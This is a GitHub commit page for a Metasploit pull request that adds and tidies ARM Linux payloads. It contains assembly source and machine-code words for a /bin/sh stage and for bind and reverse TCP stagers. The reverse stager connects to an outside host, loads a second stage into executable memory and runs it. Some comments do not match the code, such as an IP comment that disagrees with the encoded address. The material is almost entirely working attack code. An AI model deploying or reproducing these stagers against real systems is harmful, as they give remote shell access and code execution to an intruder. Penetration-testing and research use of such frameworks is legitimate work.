Skip to content

Commit 8b8fb9f

Browse files
dcbzdcbz
committed
Merge pull request #1 from jvazquez-r7/arm_stagers
ARM stagers cleanup
2 parents 2c0f0f5 + 7c41e23 commit 8b8fb9f

File tree

6 files changed

+251
-24
lines changed

6 files changed

+251
-24
lines changed

‎external/source/shellcode/linux/armle/stage_shell.s

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
@@
2+
@
3+
@ Name: generic
4+
@ Qualities: -
5+
@ Authors: nemo <nemo [at] felinemenace.org>
6+
@ License: MSF_LICENSE
7+
@ Description:
8+
@
9+
@ dup2 / execve("/bin/sh") stage for Linux ARM LE architecture.
10+
@@
11+
12+
.text
13+
.globl _start
14+
_start:
15+
int dup2(int oldfd, int newfd);
16+
mov r7,#63 ; __NR_dup2
17+
mov r1,#3
18+
up:
19+
mov r0,r12 ; oldfd (descriptor stored in r12 by the stager)
20+
sub r1,#1 ; newfd
21+
swi 0
22+
cmp r1,#1
23+
bge up
24+
@ execve(const char *path, char *const argv[], char *const envp[]);
25+
mov r7,#11 ; __NR_execve
26+
add r0,pc,#24 ; *path
27+
sub sp,#24
28+
str r0,[sp,#-20]
29+
mov r2,#0
30+
str r2,[sp,#-16]
31+
add r1,sp,#-20 ; *argv[]
32+
mov r2,r1 ; *envp[]
33+
swi 0
34+
.string "/bin/sh"

‎external/source/shellcode/linux/armle/stager_sock_bind.s

Lines changed: 101 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
@@
2+
@
3+
@ Name: stager_sock_bind
4+
@ Qualities: -
5+
@ Authors: nemo <nemo [at] felinemenace.org>
6+
@ License: MSF_LICENSE
7+
@ Description:
8+
@
9+
@ Implementation of a Linux portbind TCP stager for ARM LE architecture.
10+
@
11+
@ Socket descriptor in r12.
12+
@
13+
@ Assemble with: as stager_sock_bind.s -o stager_sock_bind.o
14+
@ Link with: ld stager_sock_bind.o -o stager_sock_bind
15+
@
16+
@ Meta-Information:
17+
@
18+
@ meta-shortname=Linux Bind TCP Stager
19+
@ meta-description=Listen on a port for a connection and run a second stage
20+
@ meta-authors=nemo <nemo [at] felinemenace.org>
21+
@ meta-os=linux
22+
@ meta-arch=armle
23+
@ meta-category=stager
24+
@ meta-connection-type=bind
25+
@ meta-name=bind_tcp
26+
@@
27+
28+
.text
29+
.globl _start
30+
_start:
31+
@ int socket(int domain, int type, int protocol);
32+
ldr r7,=281 @ __NR_socket
33+
mov r0,#2 @ domain = AF_INET
34+
mov r1,#1 @ type = SOCK_STREAM
35+
mov r2,#6 @ protocol = IPPROTO_TCP
36+
swi 0
37+
@ int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
38+
mov r12,r0 @ sockfd
39+
add r7,#1 @ __NR_bind
40+
add r1,pc,#176 @ *addr
41+
mov r2,#16 @ addrlen
42+
swi 0
43+
@ int listen(int sockfd, int backlog);
44+
add r7,#2 @ __NR_listen
45+
mov r0,r12 @ sockfd
46+
swi 0
47+
@ int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
48+
add r7,#1 @ __NR_accept
49+
mov r0,r12 @ sockfd
50+
sub r1,r1,r1 @ *addr = NULL
51+
mov r2,r1 @ *addrlen = NULL
52+
swi 0
53+
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
54+
mov r12,r0 @ sockfd
55+
sub sp,#4
56+
add r7,#6 @ __NR_recv
57+
mov r1,sp @ *buf (on the stack)
58+
mov r2,#4 @ len
59+
mov r3,#0 @ flags
60+
swi 0
61+
@ round length
62+
ldr r1,[sp,#0]
63+
ldr r3,=0xfffff000
64+
and r1,r1,r3
65+
mov r2,#1
66+
lsl r2,#12
67+
@ void *mmap2(void *addr, size_t length, int prot, int flags, int fd, off_t pgoffset);
68+
add r1,r2 @ length
69+
mov r7, #192 @ __NR_mmap2
70+
ldr r0,=0xffffffff @ *addr = NULL
71+
mov r2,#7 @ prot = PROT_READ | PROT_WRITE | PROT_EXEC
72+
ldr r3,=0x1022 @ flags = MAP_ANON | MAP_PRIVATE
73+
mov r4,r0 @ fd
74+
mov r5,#0 @ pgoffset
75+
swi 0
76+
@ recv loop
77+
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
78+
add r7,#99 @ __NR_recv
79+
mov r1,r0 @ *buf
80+
mov r0,r12 @ sockfd
81+
mov r3,#0 @ flags
82+
@ remove blocksize from total length
83+
loop:
84+
ldr r2,[sp,#0]
85+
sub r2,#1000
86+
str r2,[sp,#0]
87+
cmp r2, #0
88+
ble last
89+
mov r2,#1000 @ len
90+
swi 0
91+
b loop
92+
last:
93+
add r2,#1000 @ len
94+
swi 0
95+
@ branch to code
96+
mov pc,r1
97+
@ addr
98+
@ port: 4444 , sin_fam = 2
99+
.word 0x5c110002
100+
@ ip
101+
.word 0x00000000

‎external/source/shellcode/linux/armle/stager_sock_reverse.s

Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
@@
2+
@
3+
@ Name: stager_sock_reverse
4+
@ Qualities: -
5+
@ Authors: nemo <nemo [at] felinemenace.org>
6+
@ License: MSF_LICENSE
7+
@ Description:
8+
@
9+
@ Implementation of a Linux reverse TCP stager for ARM LE architecture.
10+
@
11+
@ Socket descriptor in r12.
12+
@
13+
@ Assemble with: as stager_sock_reverse.s -o stager_sock_reverse.o
14+
@ Link with: ld stager_sock_reverse.o -o stager_sock_reverse
15+
@
16+
@ Meta-Information:
17+
@
18+
@ meta-shortname=Linux Reverse TCP Stager
19+
@ meta-description=Connect back to the framework and run a second stage
20+
@ meta-authors=nemo <nemo [at] felinemenace.org>
21+
@ meta-os=linux
22+
@ meta-arch=armle
23+
@ meta-category=stager
24+
@ meta-connection-type=reverse
25+
@ meta-name=reverse_tcp
26+
@@
27+
28+
.text
29+
.globl _start
30+
_start:
31+
@ int socket(int domain, int type, int protocol);
32+
ldr r7,=281 @ __NR_socket
33+
mov r0,#2 @ domain = AF_INET
34+
mov r1,#1 @ type = SOCK_STREAM
35+
mov r2,#6 @ protocol = IPPROTO_TCP
36+
swi 0
37+
@ int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
38+
mov r12,r0 @ sockfd
39+
add r7,#2 @ __NR_socket
40+
add r1,pc,#144 @ *addr
41+
mov r2,#16 @ addrlen
42+
swi 0
43+
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
44+
mov r0,r12 @ sockfd
45+
sub sp,#4
46+
add r7,#8 @ __NR_recv
47+
mov r1,sp @ *buf (on the stack)
48+
mov r2,#4 @ len
49+
mov r3,#0 @ flags
50+
swi 0
51+
@ round length
52+
ldr r1,[sp,#0]
53+
ldr r3,=0xfffff000
54+
and r1,r1,r3
55+
mov r2,#1
56+
lsl r2,#12
57+
@ void *mmap2(void *addr, size_t length, int prot, int flags, int fd, off_t pgoffset);
58+
add r1,r2 @ length
59+
mov r7, #192 @ __NR_mmap2
60+
ldr r0,=0xffffffff @ *addr = NULL
61+
mov r2,#7 @ prot = PROT_READ | PROT_WRITE | PROT_EXEC
62+
ldr r3,=0x1022 @ flags = MAP_ANON | MAP_PRIVATE
63+
mov r4,r0 @ fd
64+
mov r5,#0 @ pgoffset
65+
swi 0
66+
@ recv loop
67+
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
68+
add r7,#99 @ __NR_recv
69+
mov r1,r0 @ *buf
70+
mov r0,r12 @ sockfd
71+
mov r3,#0 @ flags
72+
@ remove blocksize from total length
73+
loop:
74+
ldr r2,[sp,#0]
75+
sub r2,#1000
76+
str r2,[sp,#0]
77+
cmp r2, #0
78+
ble last
79+
mov r2,#1000 @ len
80+
swi 0
81+
b loop
82+
last:
83+
add r2,#1000 @ len
84+
swi 0
85+
@ branch to code
86+
mov pc,r1
87+
@ addr
88+
@ port: 4444 , sin_fam = 2
89+
.word 0x5c110002
90+
@ ip: 127.0.0.1
91+
.word 0x01aca8c0
92+
@.word 0x0100007f

‎modules/payloads/stagers/linux/armle/bind_tcp.rb

Lines changed: 10 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -26,7 +26,7 @@ def initialize(info = {})
2626
super(merge_info(info,
2727
'Name' => 'Bind TCP Stager',
2828
'Description' => 'Listen for a connection',
29-
'Author' => 'nemo@felinemenace.org',
29+
'Author' => 'nemo <nemo[at]felinemenace.org>',
3030
'License' => MSF_LICENSE,
3131
'Platform' => 'linux',
3232
'Arch' => ARCH_ARMLE,
@@ -39,14 +39,14 @@ def initialize(info = {})
3939
},
4040
'Payload' =>
4141
[
42-
0xe59f70d4, # ldr r7, [pc, #212] ; 8130 <last+0x14>
42+
0xe59f70d4, # ldr r7, [pc, #212]
4343
0xe3a00002, # mov r0, #2
4444
0xe3a01001, # mov r1, #1
4545
0xe3a02006, # mov r2, #6
4646
0xef000000, # svc 0x00000000
4747
0xe1a0c000, # mov ip, r0
4848
0xe2877001, # add r7, r7, #1
49-
0xe28f10b0, # add r1, pc, #176 ; 0xb0
49+
0xe28f10b0, # add r1, pc, #176
5050
0xe3a02010, # mov r2, #16
5151
0xef000000, # svc 0x00000000
5252
0xe2877002, # add r7, r7, #2
@@ -65,31 +65,31 @@ def initialize(info = {})
6565
0xe3a03000, # mov r3, #0
6666
0xef000000, # svc 0x00000000
6767
0xe59d1000, # ldr r1, [sp]
68-
0xe59f3070, # ldr r3, [pc, #112] ; 8134 <last+0x18>
68+
0xe59f3070, # ldr r3, [pc, #112]
6969
0xe0011003, # and r1, r1, r3
7070
0xe3a02001, # mov r2, #1
7171
0xe1a02602, # lsl r2, r2, #12
7272
0xe0811002, # add r1, r1, r2
73-
0xe3a070c0, # mov r7, #192 ; 0xc0
73+
0xe3a070c0, # mov r7, #192
7474
0xe3e00000, # mvn r0, #0
7575
0xe3a02007, # mov r2, #7
76-
0xe59f3054, # ldr r3, [pc, #84] ; 8138 <last+0x1c>
76+
0xe59f3054, # ldr r3, [pc, #84]
7777
0xe1a04000, # mov r4, r0
7878
0xe3a05000, # mov r5, #0
7979
0xef000000, # svc 0x00000000
80-
0xe2877063, # add r7, r7, #99 ; 0x63
80+
0xe2877063, # add r7, r7, #99
8181
0xe1a01000, # mov r1, r0
8282
0xe1a0000c, # mov r0, ip
8383
0xe3a03000, # mov r3, #0
8484
0xe59d2000, # ldr r2, [sp]
85-
0xe2422ffa, # sub r2, r2, #1000 ; 0x3e8
85+
0xe2422ffa, # sub r2, r2, #1000
8686
0xe58d2000, # str r2, [sp]
8787
0xe3520000, # cmp r2, #0
8888
0xda000002, # ble 811c <last>
89-
0xe3a02ffa, # mov r2, #1000 ; 0x3e8
89+
0xe3a02ffa, # mov r2, #1000
9090
0xef000000, # svc 0x00000000
9191
0xeafffff7, # b 80fc <loop>
92-
0xe2822ffa, # add r2, r2, #1000 ; 0x3e8
92+
0xe2822ffa, # add r2, r2, #1000
9393
0xef000000, # svc 0x00000000
9494
0xe1a0f001, # mov pc, r1
9595
0x5c110002, # .word 0x5c110002

‎modules/payloads/stagers/linux/armle/reverse_tcp.rb

Lines changed: 13 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -26,7 +26,7 @@ def initialize(info = {})
2626
super(merge_info(info,
2727
'Name' => 'Reverse TCP Stager',
2828
'Description' => 'Connect back to the attacker',
29-
'Author' => 'nemo',
29+
'Author' => 'nemo <nemo[at]felinemenace.org>',
3030
'License' => MSF_LICENSE,
3131
'Platform' => 'linux',
3232
'Arch' => ARCH_ARMLE,
@@ -35,19 +35,19 @@ def initialize(info = {})
3535
{
3636
'Offsets' =>
3737
{
38-
'LPORT' => [ 194, 'n' ],
39-
'LHOST' => [ 196, 'ADDR' ],
38+
'LPORT' => [ 182, 'n' ],
39+
'LHOST' => [ 184, 'ADDR' ],
4040
},
4141
'Payload' =>
4242
[
43-
0xe59f70b4, # ldr r7, [pc, #180] ; 8110 <last+0x14>
43+
0xe59f70b4, # ldr r7, [pc, #180]
4444
0xe3a00002, # mov r0, #2
4545
0xe3a01001, # mov r1, #1
4646
0xe3a02006, # mov r2, #6
4747
0xef000000, # svc 0x00000000
4848
0xe1a0c000, # mov ip, r0
4949
0xe2877002, # add r7, r7, #2
50-
0xe28f1090, # add r1, pc, #144 ; 0x90
50+
0xe28f1090, # add r1, pc, #144
5151
0xe3a02010, # mov r2, #16
5252
0xef000000, # svc 0x00000000
5353
0xe1a0000c, # mov r0, ip
@@ -58,31 +58,31 @@ def initialize(info = {})
5858
0xe3a03000, # mov r3, #0
5959
0xef000000, # svc 0x00000000
6060
0xe59d1000, # ldr r1, [sp]
61-
0xe59f3070, # ldr r3, [pc, #112] ; 8114 <last+0x18>
61+
0xe59f3070, # ldr r3, [pc, #112]
6262
0xe0011003, # and r1, r1, r3
6363
0xe3a02001, # mov r2, #1
6464
0xe1a02602, # lsl r2, r2, #12
6565
0xe0811002, # add r1, r1, r2
66-
0xe3a070c0, # mov r7, #192 ; 0xc0
66+
0xe3a070c0, # mov r7, #192
6767
0xe3e00000, # mvn r0, #0
6868
0xe3a02007, # mov r2, #7
69-
0xe59f3054, # ldr r3, [pc, #84] ; 8118 <last+0x1c>
69+
0xe59f3054, # ldr r3, [pc, #84]
7070
0xe1a04000, # mov r4, r0
7171
0xe3a05000, # mov r5, #0
7272
0xef000000, # svc 0x00000000
73-
0xe2877063, # add r7, r7, #99 ; 0x63
73+
0xe2877063, # add r7, r7, #99
7474
0xe1a01000, # mov r1, r0
7575
0xe1a0000c, # mov r0, ip
7676
0xe3a03000, # mov r3, #0
7777
0xe59d2000, # ldr r2, [sp]
78-
0xe2422ffa, # sub r2, r2, #1000 ; 0x3e8
78+
0xe2422ffa, # sub r2, r2, #1000
7979
0xe58d2000, # str r2, [sp]
8080
0xe3520000, # cmp r2, #0
8181
0xda000002, # ble 80fc <last>
82-
0xe3a02ffa, # mov r2, #1000 ; 0x3e8
82+
0xe3a02ffa, # mov r2, #1000
8383
0xef000000, # svc 0x00000000
8484
0xeafffff7, # b 80dc <loop>
85-
0xe2822ffa, # add r2, r2, #1000 ; 0x3e8
85+
0xe2822ffa, # add r2, r2, #1000
8686
0xef000000, # svc 0x00000000
8787
0xe1a0f001, # mov pc, r1
8888
0x5c110002, # .word 0x5c110002
@@ -96,7 +96,7 @@ def initialize(info = {})
9696
))
9797
end
9898

99-
def handle_i7 termediate_stage(conn, payload)
99+
def handle_intermediate_stage(conn, payload)
100100

101101
print_status("Transmitting stage length value...(#{payload.length} bytes)")
102102

‎modules/payloads/stages/linux/armle/shell.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ def initialize(info = {})
1717
super(merge_info(info,
1818
'Name' => 'Linux dup2 Command Shell',
1919
'Description' => 'dup2 socket in r12, then execve',
20-
'Author' => 'nemo',
20+
'Author' => 'nemo <nemo[at]felinemenace.org>',
2121
'License' => MSF_LICENSE,
2222
'Platform' => 'linux',
2323
'Arch' => ARCH_ARMLE,

0 commit comments

Comments
 (0)